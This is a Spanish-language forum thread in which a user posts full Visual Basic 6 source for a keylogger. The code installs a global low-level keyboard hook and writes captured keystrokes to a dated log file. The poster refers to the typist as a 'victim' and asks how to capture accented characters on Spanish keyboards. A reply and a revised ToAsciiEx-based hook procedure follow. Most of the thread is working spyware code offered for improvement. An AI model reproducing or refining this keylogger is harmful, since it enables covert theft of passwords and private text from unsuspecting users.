Título: Mejora de Keylogger - Compatibilidad con signos de acentuación
Publicado por: xSundeRx en 22 Enero 2020, 18:56 pm
Intento mejorar el código de un keylogger que saque de unos hilos viejos. Mi idea es que no registre el código de las teclas, sino directamente el texto que escribe el usuario. Tirando un PostMessage WM_KEYDOWN hacia un TextBox. Añadiendo cierta compatibilidad para que el usuario/victima, pueda utilizar los signos de acentuación en teclados españoles. Cualquier mejora o consejo es bienvenida. Módulo: Option Explicit
Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long Private Declare Function GetProcAddress Lib "kernel32.dll" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hMod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal cb As Long)
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Type KBDLLHOOKSTRUCT vkCode As Long scanCode As Long flags As Long time As Long dwExtraInfo As Long End Type
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Public Const KEYEVENTF_KEYDOWN = &H0 Public Const KEYEVENTF_EXTENDEDKEY = &H1 Public Const KEYEVENTF_KEYUP = &H2
' Low-Level Keyboard Constants Private Const HC_ACTION = 0 Private Const LLKHF_EXTENDED = &H1 Private Const LLKHF_INJECTED = &H10 Private Const LLKHF_ALTDOWN = &H20 Private Const LLKHF_UP = &H80
' Virtual Keys Public Const VK_TAB = &H9 Public Const VK_CONTROL = &H11 Public Const VK_ESCAPE = &H1B Public Const VK_DELETE = &H2E Public Const VK_SHIFT = &HA0 Public Const VK_RSHIFT = &HA1
Private Const WH_KEYBOARD_LL = 13& 'Private Const WH_KEYBOARD_LL As Long = 13
Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_DEADCHAR = &H103 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105 Private Const WM_SYSCHAR = &H106 Private Const WM_SYSDEADCHAR = &H107 Private Const WM_IME_KEYDOWN = &H290
Public Buffer_Len As Integer Public nFile As Integer
Dim Log_Path As String
Dim Last_Key As Long Dim Last_Msg As Long Dim Last_Shift As Boolean Dim Shift_Trigger As Boolean
Dim hHook As Long
Public Sub Iniciar_Keylogger() 'Dim hMod As Long Dim Header As String Last_Key = 0 Last_Msg = 0 Last_Shift = False Shift_Trigger = False Buffer_Len = 30 Form1.txtLog.Text = vbNullString Log_Path = App.Path & "\" & Format(Date, "yyyy-MM-dd") nFile = FreeFile Open Log_Path For Binary Access Write As #nFile If LOF(nFile) > 0 Then Seek #nFile, LOF(nFile) + 1 End If Header = "[KEYLOGGER 1.0 - " & Format(Date, "yyyy-MM-dd hh:mm") & "]" & vbCrLf & "[INI]" & vbCrLf Put #nFile, , Header 'hMod = GetProcAddress(LoadLibrary("USER32"), "SetWindowsHookExA") 'hHook = Invoke(hMod, WH_KEYBOARD_LL, AddressOf KBProc, 0, 0)
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0&) 'App.hInstance End Sub
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long 'On Error Resume Next 'Static KBMsg As KBDLLHOOKSTRUCT Static i As Long i = i + 1 If (nCode = HC_ACTION) Then 'Call CopyMemory(KBMsg, ByVal lParam, Len(KBMsg)) If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then If (lParam = 186) Then If Shift_Trigger Then Call Add_Text(Form1.txtLog, "^") Else Call Add_Text(Form1.txtLog, "`") End If Shift_Trigger = False ElseIf (lParam = 222) Then If Shift_Trigger Then Call Add_Text(Form1.txtLog, "¨") Else Call Add_Text(Form1.txtLog, "´") End If Shift_Trigger = False Else If (Last_Key = 186 Or Last_Key = 222 Or lParam = 8) Then Call Add_Text(Form1.txtLog, Chr(lParam)) Else Call PostMessage(Form1.txtLog.hWnd, wParam, lParam, 0&) End If End If 'Detecta si shift está presionado If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = True Call Add_Text(Form1.Text2, "[" & i & "] DOWN " & lParam & " " & Last_Shift & vbNewLine) End If If (wParam = WM_KEYUP Or wParam = WM_SYSKEYUP) Then If (lParam = 186 Or lParam = 222) Then If Last_Shift Then Shift_Trigger = True End If End If 'Detecta si shift se dejó de presionar If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = False Call Add_Text(Form1.Text2, "[" & i & "] UP " & lParam & " " & Last_Shift & vbNewLine) End If Last_Msg = wParam Last_Key = lParam End If KBProc = CallNextHookEx(hHook, nCode, wParam, lParam) End Function
Public Sub Add_Text(objTextBox As TextBox, sText As String) objTextBox.Text = objTextBox.Text & sText objTextBox.SelStart = Len(objTextBox.Text) End Sub
Public Sub Terminar_Keylogger() 'Dim hMod As Long 'hMod = GetProcAddress(LoadLibrary("USER32"), "UnhookWindowsHookEx") 'Call Invoke(hMod, hHook)
Call UnhookWindowsHookEx(hHook) If Len(Form1.txtLog.Text) > 0 Then Put #nFile, , Form1.txtLog.Text End If Put #nFile, , "[FIN]" & vbCrLf Close #nFile End Sub
Form1: (agregar un TextoBox: "txtLog" y "Text2", ambos MultiLine=True Private Sub Form_Load() Call Iniciar_Keylogger End Sub
Private Sub Form_Unload(Cancel As Integer) Call Terminar_Keylogger End Sub
Private Sub txtLog_KeyPress(KeyAscii As Integer) If Len(txtLog.Text) > Buffer_Len Then Put #nFile, , txtLog.Text txtLog.Text = vbNullString End If End Sub
Título: Re: Mejora de Keylogger - Compatibilidad con signos de acentuación
Publicado por: fary en 22 Enero 2020, 19:41 pm
¿Y que es lo que no entiendes?
Título: Re: Mejora de Keylogger - Compatibilidad con signos de acentuación
Publicado por: xSundeRx en 22 Enero 2020, 19:52 pm
¿Y que es lo que no entiendes?
En sí, no entiendo varias cosas. ¿Desde cuando lParam dejó de ser un puntero? ¿Por qué PostMessage dentro del hook en ciertas ocasiones anula el WM_DEADCHAR? ¿Alguno logró traducir las pulsaciones a texto usando ToAsciiEx o ToUnicode?
Título: Re: Mejora de Keylogger - Compatibilidad con signos de acentuación
Publicado por: fary en 23 Enero 2020, 07:52 am
Bueno, en VB no existen los punteros por lo tanto no lo vas a poder manejar de la misma forma que otros lenguajes.
Por otro lado supongo que la API que no pudiste leer en el post de donde obtuviste ese código es GetKeyNameTextA.
https://docs.microsoft.com/es-es/windows/win32/api/winuser/nf-winuser-getkeynametexta
Espero haberte ayudado.
Título: Re: Mejora de Keylogger - Compatibilidad con signos de acentuación
Publicado por: xSundeRx en 23 Enero 2020, 21:09 pm
Logré implementar el API "AsciiEx": Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long 'On Error Resume Next If (nCode = HC_ACTION) Then If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then Dim KBState(255) As Byte Dim ChrRet As Integer Dim sChr As String Dim ret As Long Dim BufLen As Integer BufLen = 5 ret = GetKeyboardState(KBState(0)) If ret > 0 Then ret = ToAsciiEx(lParam, MapVirtualKeyEx(lParam, 2&, 0&), KBState(0), ChrRet, 0&, 0&) 'sChr = StrConv(sChr, vbFromUnicode) 'sChr = String(BufLen, Chr(0)) 'ret = ToUnicode(85, MapVirtualKey(85, 0&), KBState(0), StrPtr(sChr), BufLen, 0&) 'ret = ToUnicodeEx(lParam, MapVirtualKeyEx(lParam, 0&, 0&), KBState(0), StrPtr(sChr), BufLen, 0&, 0&) 'sChr = Trim$(Replace$(sChr, Chr(0), vbNullString)) If ChrRet >= 0 And ChrRet < 256 Then Call Add_Text(Form1.txtLog, Chr(ChrRet)) Else Call Add_Text(Form1.txtLog, "[" & CStr(ChrRet) & "]") End If 'Call Add_Text(Form1.txtLog, sChr) End If End If End If KBProc = CallNextHookEx(hHook, nCode, wParam, lParam) End Function Aún estoy probando con "ToUnicode", pero no logro que funcione dentro del "hook proc". Cuando aparece un WM_DEADCHAR en el sistema, al parecer si se manipula el lParam dentro de un subclassing, lo hace saltar y envía WM_CHAR. Hasta ahora, la única solución que encontré es blockear la función del programa con las teclas que generan ese problema, son VKcode: 186 y 222. Para resumir, si mi hook está activo, escribo en block de notas y si presiono la tecla de tilde (´), directamente se escribe: ´´. Y no espera la siguiente pulsación.
|